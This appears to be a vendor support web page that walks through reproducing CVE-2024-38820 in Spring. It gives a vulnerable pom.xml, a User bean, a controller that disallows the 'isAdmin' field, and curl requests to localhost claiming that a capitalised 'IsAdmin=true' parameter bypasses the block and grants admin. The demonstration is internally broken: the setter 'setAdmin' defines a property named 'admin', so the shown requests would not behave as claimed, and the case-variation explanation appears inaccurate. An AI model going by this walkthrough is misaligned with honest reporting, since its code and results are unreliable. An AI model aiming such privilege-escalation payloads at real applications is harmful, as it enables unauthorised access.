Here’s a minimal example to reproduce CVE-2024-38820, showing how a case mismatch in DataBinder.disallowedFields can allow setting sensitive fields that should have been blocked.
Setup: Spring® Boot + Spring® Web (vulnerable version)
pom.xml – Use a vulnerable Spring® version (e.g., 5.3.39)
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.7.18</version> <!– Uses Spring® Framework 5.3.39 –>
</dependency>
Example Code
User.java
public class User {
private String username;
private boolean isAdmin;
// Getters and setters
public String getUsername() { return username; }
public void setUsername(String username) { this.username = username; }
public boolean isAdmin() { return isAdmin; }
public void setAdmin(boolean isAdmin) { this.isAdmin = isAdmin; }
}
UserController.java
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.*;
@Controller
@RequestMapping(“/user”)
public class UserController {
@InitBinder
public void initBinder(WebDataBinder binder) {
binder.setDisallowedFields(“isAdmin”); // Intends to block binding of isAdmin
}
@PostMapping
@ResponseBody
public String createUser(@ModelAttribute User user) {
return “Username: ” + user.getUsername() + “, isAdmin: ” + user.isAdmin();
}
}
Test via Curl or Postman
✅ Expected Safe Request
curl -X POST http://localhost:8080/user -d “username=bob&isAdmin=true”
- Result (as expected): isAdmin = false
→ DataBinder blocks isAdmin field.
❌ Bypass via Case Variation
curl -X POST http://localhost:8080/user -d “username=bob&IsAdmin=true”
- Result (unexpected): isAdmin = true
→ Disallowed field check fails due to case mismatch.
Tech Support
Documentation
Login
Contact Us
